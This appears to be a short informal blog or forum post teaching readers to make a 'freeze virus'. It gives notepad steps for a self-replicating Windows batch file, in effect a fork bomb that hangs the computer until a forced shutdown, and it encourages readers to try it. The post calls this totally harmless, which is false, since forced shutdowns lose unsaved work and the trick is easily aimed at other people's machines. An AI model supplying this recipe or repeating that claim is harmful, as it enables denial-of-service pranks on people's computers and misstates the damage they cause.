Simple Way To Make Freeze Virus

hello....
many of my friends ask me to plz tell them how can i make freez virus??
Now the answer is here.....
i have a new trick for making a freez virus.
it is totaly harmless and it is only for fun.
try it and watch result!!! :)

here is a trick:

1. open notepad
2. type "start virus.bat"
3. next line type "virus.bat"
4.save it as "virus.bat"
5.now open file and watch....
for stop this the only solution is shut down.